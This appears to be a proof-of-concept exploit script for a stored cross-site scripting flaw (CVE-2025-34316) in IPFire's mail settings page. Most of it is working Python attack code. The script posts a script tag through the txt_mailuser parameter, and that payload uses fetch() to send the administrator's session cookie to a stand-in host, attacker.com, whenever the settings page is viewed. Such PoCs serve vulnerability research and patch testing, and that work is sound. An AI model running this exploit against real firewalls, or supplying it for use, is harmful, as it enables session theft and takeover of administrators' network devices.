CVE-2025-34316

# CVE-2025-34316 PoC - IPFire Stored XSS via Mail Server Settings # This PoC demonstrates the XSS vulnerability in IPFire mail configuration # Target: IPFire < 2.29 (Core Update 198) # Endpoint: /cgi-bin/mail.cgi import requests import sys TARGET_URL = "http://target-ipfire:444/cgi-bin/mail.cgi" ATTACKER_COOKIE = "PHPSESSID=attacker_session_cookie" # Malicious payload to steal cookies XSS_PAYLOAD = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' def exploit_stored_xss(): """ Inject malicious JavaScript via txt_mailuser parameter Payload will be stored and executed when admin views mail settings """ headers = { 'Cookie': ATTACKER_COOKIE, 'Content-Type': 'application/x-www-form-urlencoded' } # Payload injection via txt_mailuser parameter data = { 'txt_mailuser': XSS_PAYLOAD, 'txt_mailpass': 'legitimate_password', 'save': 'Save' } print(f"[*] Sending payload to {TARGET_URL}") print(f"[*] Payload: {XSS_PAYLOAD}") try: response = requests.post(TARGET_URL, data=data, headers=headers, timeout=10) if response.status_code == 200: print("[+] Payload injected successfully!") print("[*] The XSS will execute when any user views the mail settings page") return True except requests.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-34316 - IPFire Stored XSS PoC") print("=" * 60) exploit_stored_xss()

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